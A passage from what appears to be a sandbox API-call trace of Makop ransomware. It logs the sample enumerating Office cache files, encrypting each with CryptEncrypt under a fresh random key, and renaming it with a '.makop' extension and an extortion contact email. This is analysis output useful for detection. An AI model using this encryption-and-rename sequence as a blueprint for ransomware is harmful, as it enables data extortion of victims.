lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0078.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.641] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0078.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0078.641] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0078.655] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0078.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.658] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0078.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.663] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0078.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a77ea0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0078.663] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0078.673] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0078.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a77ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.676] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0078.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.678] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0078.678] CryptDestroyKey (hKey=0x48c7128) returned 1 [0078.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.678] SetEndOfFile (hFile=0x130) returned 1 [0078.688] GetProcessHeap () returned 0x48a0000 [0078.688] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0078.688] GetProcessHeap () returned 0x48a0000 [0078.688] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.688] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 132 [0078.688] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0079.880] CloseHandle (hObject=0x130) returned 1 [0079.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0079.881] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0079.881] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0079.883] GetProcessHeap () returned 0x48a0000 [0079.883] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0079.883] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0079.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0079.884] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0079.888] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0079.888] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0079.888] GetProcessHeap () returned 0x48a0000 [0079.888] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0079.888] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0079.889] CryptDestroyKey (hKey=0x48c7128) returned 1 [0079.889] WriteFile (in: hFile=0x130, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0079.889] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0079.889] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0079.889] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0079.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0079.889] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0079.890] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0079.890] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0079.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.890] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x91975, lpOverlapped=0x0) returned 1 [0079.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x91980, dwBufLen=0x91980 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x91980) returned 1 [0079.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.921] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x91980, lpOverlapped=0x0) returned 1 [0079.925] CryptDestroyKey (hKey=0x48c7128) returned 1 [0079.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.925] SetEndOfFile (hFile=0x130) returned 1 [0079.934] GetProcessHeap () returned 0x48a0000 [0079.934] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0079.934] GetProcessHeap () returned 0x48a0000 [0079.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0079.935] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 135 [0079.935] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0079.944] CloseHandle (hObject=0x130) returned 1 [0079.944] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0079.944] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0079.944] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0079.944] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0079.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.945] GetProcessHeap () returned 0x48a0000 [0079.945] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0079.945] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0079.945] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0079.945] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0079.946] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0079.946] GetProcessHeap () returned 0x48a0000 [0079.946] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0079.946] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0079.946] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0079.946] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0079.950] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0079.951] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0079.951] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0079.951] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0079.951] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0079.951] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0079.951] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0079.952] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.952] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xd4200, lpOverlapped=0x0) returned 1 [0079.976] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xd4200) returned 1 [0079.985] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.985] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xd4200, lpOverlapped=0x0) returned 1 [0079.992] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0079.992] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.993] SetEndOfFile (hFile=0x124) returned 1 [0080.002] GetProcessHeap () returned 0x48a0000 [0080.002] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0080.002] GetProcessHeap () returned 0x48a0000 [0080.002] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.002] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0080.002] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.013] CloseHandle (hObject=0x124) returned 1 [0080.013] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0080.013] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0080.013] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.014] GetProcessHeap () returned 0x48a0000 [0080.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.014] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.014] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0080.014] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xd, lpOverlapped=0x0) returned 1 [0080.019] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.019] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.019] GetProcessHeap () returned 0x48a0000 [0080.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0080.019] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0080.019] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.019] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0080.019] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0080.020] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0080.020] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0080.020] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.020] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0080.020] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.020] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.020] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.020] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x333, lpOverlapped=0x0) returned 1 [0080.020] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x340, dwBufLen=0x340 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x340) returned 1 [0080.021] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.021] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x340, lpOverlapped=0x0) returned 1 [0080.021] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.021] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.021] SetEndOfFile (hFile=0x124) returned 1 [0080.029] GetProcessHeap () returned 0x48a0000 [0080.029] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0080.029] GetProcessHeap () returned 0x48a0000 [0080.029] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.029] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0080.030] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.035] CloseHandle (hObject=0x124) returned 1 [0080.036] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, 